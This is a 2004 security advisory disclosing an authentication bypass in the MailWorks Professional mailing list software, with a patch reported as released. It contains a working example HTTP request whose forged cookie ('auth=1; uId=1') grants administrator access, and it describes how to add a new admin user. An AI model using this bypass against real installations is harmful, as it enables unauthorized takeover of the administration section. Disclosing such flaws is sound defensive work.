Pimp industries. "Its all about the Bling, B^!%@s and Fame!" MailWorks Professional All versions Authentication bypass via cookie control (C) Paul Craig - Pimp Industries 2004 Background ------------- MailWorks Professional is a mailing list management application, developed by sitecubed. It provides an easy way for e-zines or newsletters to manage large amounts of contacts and distribute newsletters among them. It’s reasonably popular with many websites and has been around for a while. Exploit: ------------- C really is for cookie and in this case, MailWorks Pro has a rather trivial session check that is easily bypassed within a cookie. The exploit allows an attacker to have full control over the administration section, without the need to authenticate and allowing the attacker to spoof the admin user functions. An example HTTP packet is below GET /mwadmin/index.php HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockw ave-flash, */* Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.example.com Content-Length: 570 Connection: Keep-Alive Cache-Control: no-cache Cookie: auth=1; uId=1 The cookie contains the exploit, auth=1 (to signify that you have logged in) and uId= the id of the user you want to be, by default uId=1 is user "admin". This request will show the index page for user “Admin”, instead of the usual “Please Login” page. This can be further exploited by sending a HTTP post to add a new user with full admin rights, from there the attacker can login as a legitimate admin user. Suggestions/Work Around: ------------- Sitecubed was contacted early this morning; they responded very quickly and have released a patch for all customers that is available on their website. Well done Sitecubed for being prompt! Company status --------------- Pimp Industries is a privately owned security research company. If you would like to contact Pimp Industries to discuss any nature of business, please email us at headpimp@pimp-industries.com. Paul Craig Head Pimp, Security Researcher Pimp Industries "Move Fast, Think faster"